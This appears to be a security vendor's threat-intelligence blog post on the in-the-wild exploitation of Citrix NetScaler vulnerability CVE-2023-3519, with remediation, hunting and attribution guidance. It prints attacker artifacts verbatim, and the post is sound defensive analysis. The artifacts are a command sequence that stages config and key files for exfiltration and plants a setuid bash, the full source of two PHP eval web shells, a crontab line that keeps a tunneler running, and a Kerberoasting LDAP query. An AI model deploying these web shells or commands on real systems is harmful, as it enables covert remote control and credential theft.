Exploitation of Citrix Zero-Day by Possible Espionage Actors (CVE-2023-3519)

Note: This is a developing campaign under active analysis. We will continue to add more indicators, hunting tips, and information to this blog post as needed.

Security and networking devices are "edge devices," meaning they are connected to the internet. If an attacker is successful in exploiting a vulnerability on these appliances, they can gain initial access without human interaction, which reduces the chances of detection. As long as the exploit remains undiscovered, the threat actor can reuse it to gain access to additional victims or reestablish access to targeted systems. Additionally, both edge devices and virtualization software are difficult to monitor and may not support endpoint detection and response (EDR) solutions or methods to detect modifications or collect forensic images, which further reduces the likelihood of detection and complicates attribution. Notably since at least 2021, cyber espionage threat actors have focused on edge devices, particularly security, networking, and virtualization technologies to gain persistent access to victim networks, while evading detection.

Exploitation of Citrix CVE-2023-3519

On July 18, Citrix released security bulletin CTX561482, which described vulnerabilities in Citrix Netscaler Application Delivery Controller (ADC) and Citrix Netscaler Gateway. One of the vulnerabilities, CVE-2023-3519, could allow an unauthenticated remote attacker to perform arbitrary code execution. This vulnerability was assigned a CVSS of 9.8. Citrix has stated that they have observed exploitation of this vulnerability in the wild. Mandiant is actively involved in investigations involving recently compromised ADC appliances that were fully patched prior to the July 18 patches to address CVE-2023-3519. Predominately used in the information technology industry, ADCs are a vital component of enterprise and cloud data centers in ensuring the continuous improvement and the availability, security, and performance of applications. ADCs provide functions that optimize the delivery of enterprise applications across the network.

Mandiant strongly recommends that organizations follow Citrix's advice to patch vulnerable appliances as soon as possible.Mandiant classifies CVE-2023-3519 as a high-risk vulnerability because it allows for remote code execution without any known offsets. While this vulnerability has been exploited in the wild, the exploit code is not yet publicly available. Mandiant recommends that organizations prioritize patching this vulnerability.

Exploitation

During analysis of the compromised appliance, Mandiant identified a simple PHP eval web shell located in `/var/vpn/themes`. The web shell had the earliest file system modified time of all the identified

malware and was relatively compact (113 bytes). As a result, Mandiant assessed with moderate confidence that the web shell was placed on the system as part of the initial exploitation vector.

The threat actor used the web shell to modify the NetScaler configuration. In particular, they attempted to deactivate the NetScaler High Availability File Sync (nsfsyncd). Additionally, the threat actor attempted to remove processes from the Citrix Monitor configured within the file `/etc/monitrc` before finally killing the Monitor process. Shortly thereafter, various NetScaler logs recorded a critical failure, which resulted in the creation of the NetScaler Packet Processing Engine (NPPE) core dump three minutes after the exploitation attempt and the appliance restart. Mandiant analyzed this dump file and identified strings related to HTTP requests that occurred at the same time as the creation of the first web shell.

Based on code similarities, specifically the structure of the commands, Mandiant has high confidence these samples are related to exploitation of CVE-2023-3519. At the time of writing, there is no public proof of concept code for this vulnerability. To avoid potentially leaking details of how to exploit the vulnerability to other threat actors, Mandiant will not detail how the vulnerability was exploited. Some examples that follow may support triage when dealing with this activity. For example, within one POST request the threat actor took a number of actions:

- Copied the NetScaler configuration file ns.conf as well as the F1 and F2 key files into a single destination file within the `/var/vpn/themes`,
- Created the web shell `info.php` by echoing a base64 encoded string to a temporary file and then decoding it using OpenSSL binary present on the appliance
- Copied the regular bash from `/usr/bin/bash` on the appliance and set the `setuid` bit of the file to allow easy access to root privileges.

The sequence of commands as extracted from the request is as follows (note in log files and crash dumps some characters may be URL encoded).

- cat /flash/nsconfig/ns.conf >>/var/vpn/themes/insight-new-min.js
- cat /nsconfig/.F1.key >>/var/vpn/themes/insight-new-min.js
- cat /nsconfig/.F2.key >>/var/vpn/themes/insight-new-min.js
- echo PD9waHAgDQpmb3IgKCR4PTA7ICR4PD0xOyAkeCsrKSB7DQogICAgICAgICRDWzFd ID0gJF9SRVFVRVNUWyIxMjMiXTsNCiAgICAgICAgQGV2YWwNCiAgICAgICAgKCRD WyR4XS4iIik7DQp9IA0KPz4= > /tmp/cccd.debug
- openssl base64 -d < /tmp/cccd.debug > /var/vpn/themes/info.php
- cp /usr/bin/bash /var/tmp/bash
- chmod 4775 /var/tmp/bash

Follow-On Activity

Mandiant identified additional web shells and malicious ELF files that the threat actor uploaded to the vulnerable appliance after initial exploitation. All of the web shells were observed in the `/var/vpn/themes` directory; however, there is no reason the threat actor could not create web shells in other public-facing directories. Mandiant observed two types of web shells:

- A newly observed PHP command shell Mandiant is calling SECRETSAUCE

- A PHP-variant of REGEORG.NEO

Details on these web shells are included in the following section.

Moreover, the threat actor also installed a persistent tunneler on the appliance with a filename of the. The tunneler provided encrypted reverse TCP/TLS connections to a hard-coded command and control address. The tunneler was derived from the open-source ligolo-ng Github project. Mandiant believes the hard-coded address is victim specific. The attacker created a crontab entry for the `nobody` user to ensure the tunneler ran persistently.

Figure 1: crontab entry for persistent tunneler

```
30 02 * * * nohup /var/tmp/the &
```

The threat actor copied an additional tunneler, version 0.26.10 of the open-source NPS project, to the compromised appliance with filename `npc`. NPS is a fully-featured tunneler written in Go. It can be configured from the command line or with a configuration file. The tunneler also has the ability to instantiate a local file server, allowing the remote user to download files from the system.

Web Shells

Mandiant identified six unique web shells on an impacted Netscaler. These included:

- info.php
- prod.php
- log.php
- logout.php
- vpn.php
- config.php

The initial web shell identified on the impacted Netscaler was an eval web shell, info.php. The contents of info.php can be seen as follows:

```
<?php
for ($x=0; $x<=1; $x++) {
        $C[1] = $_REQUEST["123"];
        @eval
        ($C[$x]."");
}
?>
```

The web shells prod.php, log.php, vpn.php, and logout.php, are part of the SECRETSAUCE family of web shells. These web shells are nearly identical, with the exception of the embedded RSA public key. SECRETSAUCE is a PHP web shell that receives commands via POST parameters and executes them on the device. The shell contains a hard-coded RSA public key that is used to decrypt the provided POST parameters before passing them to PHP's built-in `eval` function.

The code comprising the primary functionality of prod.php is included as follows:

```
class rsa
{
```

```
    public $key;
    public $a;
    public $cmd;

    public function keys()
    {
        $this->key = <<<EOF
-----BEGIN PUBLIC KEY-----
Redacted
-----END PUBLIC KEY-----
EOF;

 return $this->key;
    }

    public function run($a = NULL)
    {
        return @eval($a);
    }

    public function get($qs)
    {
        $this->cmd = $_POST[1];
        $cmds = explode("|", $this->cmd);
        $pk = openssl_pkey_get_public(rsa::keys());
        $this->cmd = '';
        foreach ($cmds as $value) {
            if ($qs(rsa::decode($value), $de, $pk)) {
                $this->cmd .= $de;

            }
        }
        return $this->cmd;
    }

    public function decode($e = NULL)
    {
        return base64_decode($e);
    }
}

$z = new rsa();
$z->run($z->get('openssl_public_decrypt'));
```

The final web shell, config.php, was identified as a sample of REGEORG.NEO. REGEORG.NEO is a publicly available web shell and web shell generation tool intended as an improvement to the REGEORG project. REGEORG is a python utility and collection of web shells that when used together establish a SOCKS proxy on the system where the web shell was placed. Threat actors use REGEORG to tunnel activities from their systems into compromised networks.

Remediation and Hardening

Given the scope and sophistication of this threat actor, Mandiant recommends that organizations rebuild any appliances that have been exploited. The ADC upgrade process overwrites some, but not all, of the directories where threat actors may create web shells, potentially leaving the appliance in a compromised state.

Organizations should evaluate whether their ADC or Gateway appliance management ports require unrestricted Internet access. Limiting the Internet access to only necessary IP addresses (such as Citrix

related addresses) would make post-exploitation activities of this and any future vulnerabilities more difficult.

Additionally, Mandiant has observed the threat actor copying the ADC ns.conf file as well as keys stored on the file system that are used to encrypt secrets within the configuration file. Public tooling exists to decrypt the `ns.conf` secrets although Mandiant has not validated it works for the most recent appliance versions. Given these TTPs, Mandiant recommends that impacted organizations rotate all secrets stored in the configuration file as well as any private keys and certificates that may be used for TLS connections.

Mandiant recommends hardening susceptible accounts in the domain to reduce the likelihood of credential exposure via Kerberoasting and to limit a potential threat actor's ability to obtain credentials for lateral movement throughout the environment.

Hunting

Mandiant recommends organizations use available logs and Endpoint Detection & Response (EDR) telemetry to hunt for authentication attempts sourced from Netscaler management addresses (NSIPs) to all endpoints in the environment. Mandiant observed authentication attempts by the threat actor sourced from NSIPs of impacted Netscalers both via Remote Desktop Protocol (RDP) logons and network logons to endpoints within the victim's environment. Additional information recorded in these events may capture both hostnames and IP addresses belonging to attacker infrastructure to further pivot and hunt for in the environment. It is unexpected and suspicious to observe traffic to the internal network and miscellaneous (non-Citrix) Internet IP addresses from the NSIP of an appliance. Rotate credentials for any impacted/targeted accounts identified in these attempts.

Review relevant firewall logs for any network based indicators identified. Additionally, Mandiant observed the string `pwd;pwd;pwd;pwd;pwd;` used within the exploit POST requests which can aid hunting. Also, prior to upload of the initial web shell, Mandiant identified requests by a Headless Chrome User Agent (executed via CLI) included as follows:

```
Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko)
HeadlessChrome/112.0.5615.121 Safari/537.36
```

Furthermore, Mandiant recommends review of HTTP error logs for potential crashes, which can be indicative of vulnerability exploitation.

Mandiant observed LDAP queries sourced from NSIPs of impacted Netscalers in an attempt to identify accounts vulnerable to Kerberoasting. A sample query can be seen as follows:

```
(&(servicePrincipalName=*)(UserAccountControl:1.2.840.113556.1.4.803:=512)(!
(UserAccountControl:1.2.840.113556.1.4.803:=2))(!(objectCategory=computer)))
```

Mandiant recommends review of the following directories and subdirectories for the presence of web shells:

- /var/vpn/
- /var/netscaler/logon/
- /var/python/

- /netscaler/ns_gui/

In order to identify malicious ELF binaries, Mandiant recommends review of the `/tmp/` directory. Similarly, review of files with timestamps after the Netscaler was last patched is especially important.

In review of NSPPE core (Netscaler Packet Processing Engine) dumps, Mandiant identified commands executed by the threat actor to redirect the contents of `ns.conf`, `F1.key`, and `F2.key` to a renamed JavaScript file for exfiltration. Mandiant recommends reviewing relevant NSPPE core dumps in the `/core/` directory in order to identify similar activity. Rotation of the keys is recommended if similar activity is observed in NSPPE core dumps.

Finally, Mandiant recommends review of `/var/crontabs/nobody` for scheduled execution of suspicious binaries. Mandiant identified a crontab for the aforementioned ELF tunneler, `the`.

Attribution

Mandiant cannot attribute this activity based on the evidence collected thus far, however, this type of activity is consistent with previous operations by China-nexus actors based on known capabilities and actions against Citrix ADC's in 2022. The evolution of the China-nexus cyber threat landscape has evolved to such an extent, that its ecosystem mirrors more closely that of financial crime clusters, with connections and code overlap not necessarily offering the comprehensive picture. Additionally, Mandiant has observed a preponderance of actors utilizing the combination of NPS proxy and REGEORG.NEO as having a China-nexus.

Media reports indicate APT5 exploited a zero day vulnerability in Citrix ADC and Gateway devices allowing pre-authenticated remote code execution on vulnerable devices. Following that exploitation, the National Security Agency (NSA) published a report detailing APT5 capabilities against Citrix ADCs. In the report, NSA states targeting Citrix ADCs can facilitate illegitimate access to targeted organizations by bypassing normal authentication controls. NSA, in collaboration with partners, developed threat hunting guidance to provide steps organizations can take to look for possible artifacts of this type of activity.

Mandiant tracks additional Chinese cyber espionage threat actors using botnets to obfuscate traffic between attackers and victim networks, including APT41, APT31, APT15, TEMP.Hex, and Volt Typhoon. Cyber espionage threat actors continue to target technologies that do not support endpoint detection and response (EDR) solutions such as firewalls, IoT devices, hypervisors and VPN technologies (e.g. Fortinet, SonicWall, Pulse Secure, and others). Mandiant has investigated dozens of intrusions at defense industrial base (DIB), government, technology, and telecommunications organizations over the years where suspected China-nexus groups have exploited zero-day vulnerabilities and deployed custom malware to steal user credentials and maintain long-term access to the victim environments.